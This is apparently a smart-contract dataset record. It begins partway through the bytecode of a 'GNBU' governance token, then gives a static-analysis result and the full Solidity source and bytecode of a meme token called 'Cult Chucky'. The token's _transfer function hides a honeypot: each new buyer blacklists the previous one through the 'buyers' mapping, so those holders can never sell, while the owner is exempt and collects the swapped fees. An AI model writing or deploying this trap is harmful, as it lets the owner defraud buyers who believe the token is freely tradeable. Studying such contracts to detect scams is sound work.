fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef888581518110612aa7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604051612abc91906146ff565b60405180910390a35080612acf81614ebc565b915050612754565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60015474010000000000000000000000000000000000000000900460ff1615612b1b57600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff861415612b5857506bffffffffffffffffffffffff612b7d565b612b7a866040518060600160405280602481526020016150a7602491396136de565b90505b60408051808201909152601781527f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdedc3a41841d54a0c22d8c6d98aba038f54aa37f881e54f102160c5b828fed1c612bfe613dd4565b30604051602001612c12949392919061477a565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152918152815160209283012073ffffffffffffffffffffffffffffffffffffffff8c166000908152601090935290822080549193507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9186612ca383614ebc565b919050558b604051602001612cbd96959493929190614708565b60405160208183030381529060405280519060200120905060008282604051602001612cea929190614643565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051612d2794939291906147ab565b6020604051602081039080840390855afa158015612d49573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116612dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614aae565b8b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906148cc565b88421115612e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614c33565b84600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051612f689190614cc3565b60405180910390a3505050505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff909116600081815260066020908152604080832063ffffffff909516808452948252808320548484526007835281842086855283528184205494845260088352818420958452949091529020546bffffffffffffffffffffffff92831693919092169190565b60005473ffffffffffffffffffffffffffffffffffffffff16331461304a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60005b600b54811015613114578173ffffffffffffffffffffffffffffffffffffffff16600b82815481106130a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff161415613102576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a439061493a565b8061310c81614ebc565b91505061304d565b50600b805460018101825560009182527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8416179055600c8054916121e483614ebc565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146131e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b6000546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581169263a9059cbb9261323e9290911690869060040161469a565b602060405180830381600087803b15801561325857600080fd5b505af115801561326c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612283919061460f565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526003602090815260408083209390941682529190915220546bffffffffffffffffffffffff1690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600e60209081526000928352604080842090915290825290205463ffffffff81169064010000000090046bffffffffffffffffffffffff1682565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604081205463ffffffff1661336d575060006109f5565b60015b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602052604090205463ffffffff908116908216116136185773ffffffffffffffffffffffffffffffffffffffff8316600081815260076020908152604080832063ffffffff861680855290835281842054948452600683528184209084529091529020546bffffffffffffffffffffffff9081169116141561340f57613606565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260086020908152604080832063ffffffff8516845290915290205442101561345257613618565b600a5473ffffffffffffffffffffffffffffffffffffffff8416600090815260086020908152604080832063ffffffff8616845290915281205490916c0100000000000000000000000090046bffffffffffffffffffffffff1690613505906134bb9042614e26565b73ffffffffffffffffffffffffffffffffffffffff8716600090815260066020908152604080832063ffffffff891684529091529020546bffffffffffffffffffffffff16613d24565b61350f9190614dd3565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260066020908152604080832063ffffffff871684529091529020546bffffffffffffffffffffffff9182169250168111156135a7575073ffffffffffffffffffffffffffffffffffffffff8316600090815260066020908152604080832063ffffffff851684529091529020546bffffffffffffffffffffffff165b73ffffffffffffffffffffffffffffffffffffffff8416600090815260076020908152604080832063ffffffff861684529091529020546135f6906bffffffffffffffffffffffff1682614e26565b90506136028184614d49565b9250505b8061361081614ef5565b915050613370565b50919050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461366f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015473ffffffffffffffffffffffffffffffffffffffff8281169116141561369757600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000816c010000000000000000000000008410613728576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b509192915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061378b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b506137968385614e62565b949350505050565b73ffffffffffffffffffffffffffffffffffffffff83166137eb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906149f4565b73ffffffffffffffffffffffffffffffffffffffff8216613838576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614997565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260046020908152604091829020548251606081019093526036808452613895936bffffffffffffffffffffffff90921692859291906152af90830139613730565b73ffffffffffffffffffffffffffffffffffffffff848116600090815260046020908152604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff968716179055928616825290829020548251606081019093526030808452613927949190911692859290919061524990830139613cb3565b73ffffffffffffffffffffffffffffffffffffffff8381166000818152600460205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906139be908590614cc3565b60405180910390a373ffffffffffffffffffffffffffffffffffffffff8084166000908152600d6020526040808220548584168352912054610a7c92918216911683613dd8565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260056020526040812080548290613a3d9063ffffffff16614ef5565b825463ffffffff8083166101009490940a8481029102199091161790925573ffffffffffffffffffffffffffffffffffffffff851660009081526006602090815260408083209383529290522080546bffffffffffffffffffffffff8086167fffffffffffffffffffffffffffffffffffffffff00000000000000000000000090921691909117909155600a54919250613ad8911642614d49565b73ffffffffffffffffffffffffffffffffffffffff808516600090815260086020908152604080832063ffffffff871684528252808320949094558154909216815260048252829020548251606081019093526022808452613b55936bffffffffffffffffffffffff909216928692919061514790830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff90811682526004602052604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559054915185821692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90613bf2908690614cc3565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8083166000818152600d6020818152604080842080546004845282862054949093528787167fffffffffffffffffffffffff000000000000000000000000000000000000000084168117909155905191909516946bffffffffffffffffffffffff9092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4613cad828483613dd8565b50505050565b600080613cc08486614d89565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390613d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b50949350505050565b600080613d49846040518060600160405280602181526020016152e5602191396136de565b90506bffffffffffffffffffffffff8116613d6857600091505061079c565b6000613d748483614df2565b90506bffffffffffffffffffffffff8416613d8f8383614dd3565b6bffffffffffffffffffffffff1614613796576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614b1c565b4690565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613e2257506000816bffffffffffffffffffffffff16115b15610a7c5773ffffffffffffffffffffffffffffffffffffffff831615613f145773ffffffffffffffffffffffffffffffffffffffff83166000908152600f602052604081205463ffffffff169081613e7c576000613edb565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812090613ead600185614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b90506000613f02828560405180606001604052806028815260200161507f60289139613730565b9050613f1086848484613ff9565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615610a7c5773ffffffffffffffffffffffffffffffffffffffff82166000908152600f602052604081205463ffffffff169081613f69576000613fc8565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020526040812090613f9a600185614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b90506000613fef828560405180606001604052806027815260200161530660279139613cb3565b9050612589858484845b600061401d4360405180606001604052806034815260200161516960349139614295565b905060008463ffffffff16118015614084575073ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812063ffffffff831691614068600188614e3d565b63ffffffff908116825260208201929092526040016000205416145b1561411a5773ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812083916140bb600188614e3d565b63ffffffff168152602081019190915260400160002080546bffffffffffffffffffffffff92909216640100000000027fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff90921691909117905561423e565b60408051808201825263ffffffff83811682526bffffffffffffffffffffffff858116602080850191825273ffffffffffffffffffffffffffffffffffffffff8b166000908152600e82528681208b86168252909152949094209251835494517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000009095169216919091177fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff1664010000000093909116929092029190911790556141e5846001614d61565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600f6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff929092169190911790555b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051614286929190614cdc565b60405180910390a25050505050565b6000816401000000008410613728576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b803573ffffffffffffffffffffffffffffffffffffffff811681146109f557600080fd5b600082601f83011261430b578081fd5b8135602061432061431b83614d25565b614cfb565b828152818101908583018385028701840188101561433c578586fd5b855b8581101561435a5781358452928401929084019060010161433e565b5090979650505050505050565b803560ff811681146109f557600080fd5b600060208284031215614389578081fd5b612283826142d7565b600080604083850312156143a4578081fd5b6143ad836142d7565b91506143bb602084016142d7565b90509250929050565b6000806000606084860312156143d8578081fd5b6143e1846142d7565b92506143ef602085016142d7565b9150604084013590509250925092565b600080600080600080600060e0888a031215614419578283fd5b614422886142d7565b9650614430602089016142d7565b9550604088013594506060880135935061444c60808901614367565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561447a578182fd5b614483836142d7565b9150602083013561449381614fa6565b809150509250929050565b600080604083850312156144b0578182fd5b6144b9836142d7565b946020939093013593505050565b60008060008060008060c087890312156144df578182fd5b6144e8876142d7565b9550602087013594506040870135935061450460608801614367565b92506080870135915060a087013590509295509295509295565b60008060408385031215614530578182fd5b614539836142d7565b9150602083013563ffffffff81168114614493578182fd5b60008060408385031215614563578182fd5b823567ffffffffffffffff8082111561457a578384fd5b818501915085601f83011261458d578384fd5b8135602061459d61431b83614d25565b82815281810190858301838502870184018b10156145b9578889fd5b8896505b848710156145e2576145ce816142d7565b8352600196909601959183019183016145bd565b50965050860135925050808211156145f8578283fd5b50614605858286016142fb565b9150509250929050565b600060208284031215614620578081fd5b815161228381614fa6565b60006020828403121561463c578081fd5b5035919050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b901515815260200190565b90815260200190565b95865273ffffffffffffffffffffffffffffffffffffffff94851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845273ffffffffffffffffffffffffffffffffffffffff9290921660208401526040830152606082015260800190565b9384526020840192909252604083015273ffffffffffffffffffffffffffffffffffffffff16606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156147f5578581018301518582016040015282016147d9565b818111156148065783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526027908201527f474e42553a3a6765745072696f72566f7465733a206e6f74207965742064657460408201527f65726d696e656400000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601a908201527f474e42553a3a7065726d69743a20756e617574686f72697a6564000000000000604082015260600190565b60208082526016908201527f474e42553a3a766573743a206e6f742076657374657200000000000000000000604082015260600190565b6020808252602f908201527f474e42553a3a757064617465537570706f7274556e69744164643a207375707060408201527f6f727420756e6974206578697374730000000000000000000000000000000000606082015260800190565b6020808252603a908201527f474e42553a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252603c908201527f474e42553a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b60208082526026908201527f474e42553a3a64656c656761746542795369673a207369676e6174757265206560408201527f7870697265640000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f474e42553a3a7065726d69743a20696e76616c6964207369676e617475726500604082015260600190565b6020808252601d908201527f474e42553a3a756e766573743a4e6f2076657374656420616d6f756e74000000604082015260600190565b60208082526023908201527f474e42553a6d756c39363a206d756c7469706c69636174696f6e206f7665726660408201527f6c6f770000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f474e42553a3a64656c656761746542795369673a20696e76616c6964206e6f6e60408201527f6365000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f474e42553a3a64656c656761746542795369673a20696e76616c69642073696760408201527f6e61747572650000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f474e42553a3a7065726d69743a207369676e6174757265206578706972656400604082015260600190565b9283526020830191909152604082015260600190565b63ffffffff91909116815260200190565b63ffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b60ff91909116815260200190565b6bffffffffffffffffffffffff91909116815260200190565b6bffffffffffffffffffffffff92831681529116602082015260400190565b60405181810167ffffffffffffffff81118282101715614d1d57614d1d614f77565b604052919050565b600067ffffffffffffffff821115614d3f57614d3f614f77565b5060209081020190565b60008219821115614d5c57614d5c614f19565b500190565b600063ffffffff808316818516808303821115614d8057614d80614f19565b01949350505050565b60006bffffffffffffffffffffffff808316818516808303821115614d8057614d80614f19565b600063ffffffff80841680614dc757614dc7614f48565b92169190910492915050565b60006bffffffffffffffffffffffff80841680614dc757614dc7614f48565b60006bffffffffffffffffffffffff80831681851681830481118215151615614e1d57614e1d614f19565b02949350505050565b600082821015614e3857614e38614f19565b500390565b600063ffffffff83811690831681811015614e5a57614e5a614f19565b039392505050565b60006bffffffffffffffffffffffff83811690831681811015614e5a57614e5a614f19565b600081614e9657614e96614f19565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614eee57614eee614f19565b5060010190565b600063ffffffff80831681811415614f0f57614f0f614f19565b6001019392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b8015158114610bcf57600080fdfe474e42553a3a756e766573743a20616c726561647920756e76657374656420616d6f756e74206578636565647320746f556e76657374474e42553a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365474e42553a3a6672656543697263756c6174696f6e3a20616d6f756e742065786365656420746f74616c537570706c79474e42553a3a6d756c7469766573743a20616d6f756e7420657863656564732039362062697473474e42553a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773474e42553a3a7065726d69743a20616d6f756e7420657863656564732039362062697473474e42553a3a62616c616e63654f663a20756e766573746564206578636565642076657374656420616d6f756e74474e42553a3a6275726e546f6b656e733a20616d6f756e7420657863656564732039362062697473474e42553a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473474e42553a3a5f766573743a2065786365656473206f776e65722062616c616e6365474e42553a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473474e42553a3a6275726e546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a3a617070726f76653a20616d6f756e7420657863656564732039362062697473474e42553a3a6672656543697263756c6174696f6e3a20616464696e67206f766572666c6f77474e42553a3a6d756c7469766573743a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773474e42553a3a6275726e546f6b656e733a207472616e7366657220616d6f756e74206578636565647320746f74616c20737570706c79474e42553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a6d756c39363a20616d6f756e7420657863656564732075696e743936474e42553a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773474e42553a3a766573743a20616d6f756e7420657863656564732039362062697473a26469706673582212200411e264d09cf94b2e62a762b827fd9c08eb09587de5a825361b0709c19f376664736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,529 |
0xacf1651b2455c9a3d862e4786b6fc7e760bd7330
|
//SPDX-License-Identifier: MIT
//https://t.me/cultchuckyportal
// .g8"""bgd `7MMF' `7MF'`7MMF' MMP""MM""YMM .g8"""bgd `7MMF' `7MMF'`7MMF' `7MF' .g8"""bgd `7MMF' `YMM' `YMM' `MM'
//.dP' `M MM M MM P' MM `7 .dP' `M MM MM MM M .dP' `M MM .M' VMA ,V
//dM' ` MM M MM MM dM' ` MM MM MM M dM' ` MM .d" VMA ,V
//MM MM M MM MM MM MMmmmmmmMM MM M MM MMMMM. VMMP
//MM. MM M MM , MM MM. MM MM MM M MM. MM VMA MM
//`Mb. ,' YM. ,M MM ,M MM `Mb. ,' MM MM YM. ,M `Mb. ,' MM `MM. MM
// `"bmmmd' `bmmmmd"' .JMMmmmmMMM .JMML. `"bmmmd' .JMML. .JMML. `bmmmmd"' `"bmmmd' .JMML. MMb. .JMML.
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract CULTCHUCKY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public buyers;
address private _last;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
uint256 public _maxWallet;
uint256 private _tTotal = 1000000 * 10**18;
string private constant _name = "Cult Chucky";
string private constant _symbol = "CULTCHUCKY";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 11;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(60);
_maxWallet=_tTotal.div(30);
emit Transfer(address(0x0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!buyers[from]);
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
require(_canTrade);
buyers[_last]=true;
_last=to;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function decreaseTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function increaseBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
}
function startTrading() external onlyOwner{
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab57806397a993aa1161006f57806397a993aa146103495780639a024c1a14610379578063a9059cbb14610399578063dd62ed3e146103b9578063e8078d94146103ff578063f42938901461041457600080fd5b8063715018a6146102ad5780637d1db4a5146102c257806382247ec0146102d85780638da5cb5b146102ee57806395d89b411461031657600080fd5b8063313ce567116100f2578063313ce567146102065780633e7175c5146102225780634a1316721461024257806350e6a5c91461025757806370a082311461027757600080fd5b806306fdde031461013a578063095ea7b31461018057806318160ddd146101b057806323b872dd146101cf578063293230b8146101ef57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a43756c7420436875636b7960a81b60208201525b60405161017791906112fe565b60405180910390f35b34801561018c57600080fd5b506101a061019b366004611368565b610429565b6040519015158152602001610177565b3480156101bc57600080fd5b50600a545b604051908152602001610177565b3480156101db57600080fd5b506101a06101ea366004611394565b610440565b3480156101fb57600080fd5b506102046104a9565b005b34801561021257600080fd5b5060405160128152602001610177565b34801561022e57600080fd5b5061020461023d3660046113d5565b6104f1565b34801561024e57600080fd5b5061020461052e565b34801561026357600080fd5b506102046102723660046113d5565b610771565b34801561028357600080fd5b506101c16102923660046113ee565b6001600160a01b031660009081526001602052604090205490565b3480156102b957600080fd5b506102046107ae565b3480156102ce57600080fd5b506101c160085481565b3480156102e457600080fd5b506101c160095481565b3480156102fa57600080fd5b506000546040516001600160a01b039091168152602001610177565b34801561032257600080fd5b5060408051808201909152600a81526943554c54434855434b5960b01b602082015261016a565b34801561035557600080fd5b506101a06103643660046113ee565b60046020526000908152604090205460ff1681565b34801561038557600080fd5b506102046103943660046113d5565b610822565b3480156103a557600080fd5b506101a06103b4366004611368565b61085f565b3480156103c557600080fd5b506101c16103d436600461140b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040b57600080fd5b5061020461086c565b34801561042057600080fd5b50610204610982565b60006104363384846109d5565b5060015b92915050565b600061044d848484610af9565b61049f843361049a856040518060600160405280602881526020016115f4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610eb7565b6109d5565b5060019392505050565b6000546001600160a01b031633146104dc5760405162461bcd60e51b81526004016104d390611444565b60405180910390fd5b600c805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461051b5760405162461bcd60e51b81526004016104d390611444565b600954811161052957600080fd5b600955565b6000546001600160a01b031633146105585760405162461bcd60e51b81526004016104d390611444565b600b54600a546105759130916001600160a01b03909116906109d5565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec9190611479565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106729190611479565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106bf573d6000803